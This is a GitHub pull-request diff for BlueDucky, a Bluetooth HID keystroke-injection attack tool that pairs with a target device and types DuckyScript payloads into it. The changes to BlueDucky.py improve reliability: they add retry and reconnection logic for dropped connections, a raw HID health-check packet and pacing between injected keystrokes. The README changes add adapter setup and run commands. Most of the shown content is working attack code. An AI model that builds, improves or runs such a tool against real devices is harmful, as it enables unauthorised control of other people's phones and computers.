Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
96 changes: 73 additions & 23 deletions BlueDucky.py
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@

from utils.menu_functions import (main_menu, read_duckyscript, run, restart_bluetooth_daemon, get_target_address)
from utils.register_device import register_hid_profile, agent_loop
from utils.bluetooth_tools import BluetoothManager

child_processes = []

Expand Down Expand Up @@ -67,6 +68,7 @@ def __init__(self, iface):
self.iface = iface
self.bus = SystemBus()
self.adapter = self._get_adapter(iface)
self.bluetooth_manager = BluetoothManager(iface)

def _get_adapter(self, iface):
try:
Expand All @@ -83,15 +85,15 @@ def _run_command(self, command):
def set_property(self, prop, value):
# Convert value to string if it's not
value_str = str(value) if not isinstance(value, str) else value
command = ["sudo", "hciconfig", self.iface, prop, value_str]
self._run_command(command)

# Verify if the property is set correctly
verify_command = ["hciconfig", self.iface, prop]
verification_result = run(verify_command)
if value_str not in verification_result.stdout:
log.error(f"Unable to set adapter {prop}, aborting. Output: {verification_result.stdout}")
raise ConnectionFailureException(f"Failed to set {prop}")

# Use the BluetoothManager to set the property
success, message = self.bluetooth_manager.set_property(prop, value_str)

if not success:
log.error(f"Unable to set adapter {prop}, aborting. {message}")
raise ConnectionFailureException(f"Failed to set {prop}: {message}")

log.info(f"Successfully set {prop} to {value_str}")

def power(self, powered):
self.adapter.Powered = powered
Expand All @@ -102,13 +104,14 @@ def reset(self):

def enable_ssp(self):
try:
# Command to enable SSP - the actual command might differ
# This is a placeholder command and should be replaced with the actual one.
ssp_command = ["sudo", "hciconfig", self.iface, "sspmode", "1"]
ssp_result = run(ssp_command)
if ssp_result.returncode != 0:
log.error(f"Failed to enable SSP: {ssp_result.stderr}")
raise ConnectionFailureException("Failed to enable SSP")
# Use the BluetoothManager to enable SSP
success, message = self.bluetooth_manager.enable_ssp()

if not success:
log.error(f"Failed to enable SSP: {message}")
raise ConnectionFailureException(f"Failed to enable SSP: {message}")

log.info(f"SSP enabled successfully: {message}")
except Exception as e:
log.error(f"Error enabling SSP: {e}")
raise
Expand Down Expand Up @@ -201,7 +204,7 @@ def reconnect(self):
# Notify the main script or trigger a reconnection process
raise ReconnectionRequiredException("Reconnection required")

def send(self, data):
def send(self, data, retry_count=0, max_retries=2):
if not self.connected:
log.error("[TX] Not connected")
self.reconnect()
Expand All @@ -216,8 +219,28 @@ def send(self, data):
log.debug(f"[TX-{self.port}] Data sent successfully")
except bluetooth.btcommon.BluetoothError as ex:
log.error(f"[TX-{self.port}] Bluetooth error: {ex}")
self.reconnect()
self.send(data) # Retry sending after reconnection

# Handle specific error codes
if ex.errno == 104: # Connection reset by peer
log.warning(f"[TX-{self.port}] Connection reset by peer (errno 104). This is normal during HID attacks.")
if retry_count < max_retries:
log.info(f"[TX-{self.port}] Attempting reconnection (attempt {retry_count + 1}/{max_retries})")
time.sleep(1) # Wait before reconnecting
self.reconnect()
return self.send(data, retry_count + 1, max_retries)
else:
log.error(f"[TX-{self.port}] Max retries reached. Connection may be lost.")
raise ReconnectionRequiredException(f"Connection lost after {max_retries} retries")
elif ex.errno == 107: # Transport endpoint is not connected
log.warning(f"[TX-{self.port}] Transport endpoint not connected (errno 107)")
raise ReconnectionRequiredException("Transport endpoint disconnected")
else:
log.error(f"[TX-{self.port}] Unhandled Bluetooth error: {ex}")
if retry_count < max_retries:
time.sleep(0.5)
return self.send(data, retry_count + 1, max_retries)
else:
raise
except Exception as ex:
log.error(f"[TX-{self.port}] Exception: {ex}")
raise
Expand All @@ -232,6 +255,18 @@ def attempt_send(self, data, timeout=0.5):
if ex.errno != 11: # no data available
raise
time.sleep(0.001)

def is_connection_healthy(self):
"""Check if the connection is still healthy."""
try:
if not self.connected or self.sock is None:
return False
# Try to send a small test packet
test_data = bytes([0xa1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
self.sock.send(test_data)
return True
except:
return False

def recv(self, timeout=0):
start = time.time()
Expand Down Expand Up @@ -332,6 +367,9 @@ def process_duckyscript(client, duckyscript, current_line=0, current_position=0)
log.info(f"Processing {line}")
if not line or line.startswith("REM"):
continue

# Add a small delay between commands to prevent overwhelming the target
time.sleep(0.1)
if line.startswith("TAB"):
client.send_keypress(Key_Codes.TAB)
if line.startswith("PRIVATE_BROWSER"):
Expand Down Expand Up @@ -723,20 +761,32 @@ def main():
current_position = 0
connection_manager = L2CAPConnectionManager(target_address)

while True:
max_reconnection_attempts = 3
reconnection_attempts = 0

while reconnection_attempts < max_reconnection_attempts:
try:
hid_interrupt_client = setup_and_connect(connection_manager, target_address, adapter_id)
process_duckyscript(hid_interrupt_client, duckyscript, current_line, current_position)
time.sleep(2)
log.info("Payload execution completed successfully!")
break # Exit loop if successful

except ReconnectionRequiredException as e:
log.info(f"{reset}Reconnection required. Attempting to reconnect{blue}...")
reconnection_attempts += 1
log.info(f"{reset}Reconnection required. Attempting to reconnect{blue}... (attempt {reconnection_attempts}/{max_reconnection_attempts})")
current_line = e.current_line
current_position = e.current_position
connection_manager.close_all()
# Sleep before retrying to avoid rapid reconnection attempts
time.sleep(2)

if reconnection_attempts < max_reconnection_attempts:
# Sleep before retrying to avoid rapid reconnection attempts
sleep_time = 2 + (reconnection_attempts * 2) # Increasing delay
log.info(f"Waiting {sleep_time} seconds before reconnection attempt...")
time.sleep(sleep_time)
else:
log.error("Maximum reconnection attempts reached. Exiting.")
break

finally:
# unpair the target device
Expand Down
14 changes: 14 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -85,10 +85,24 @@ sudo cp bdaddr /usr/local/bin/
```bash
git clone https://github.com/pentestfunctions/BlueDucky.git
cd BlueDucky
# For systems with hciconfig (legacy)
sudo hciconfig hci0 up
# OR for systems with btmgmt (modern)
sudo btmgmt -i hci0 power on
python3 BlueDucky.py
```

**Note:** BlueDucky automatically detects and uses the appropriate Bluetooth management tool (hciconfig or btmgmt) available on your system.

## Bluetooth Tool Compatibility 🔧

BlueDucky supports both legacy and modern Bluetooth management tools:

- **hciconfig** (legacy): Traditional BlueZ tool, commonly found on older systems
- **btmgmt** (modern): Newer BlueZ management tool, found on recent distributions

The tool automatically detects which command is available and uses the appropriate one. If both are available, it prioritizes hciconfig for backward compatibility.

alternatively,

```bash
Expand Down
Loading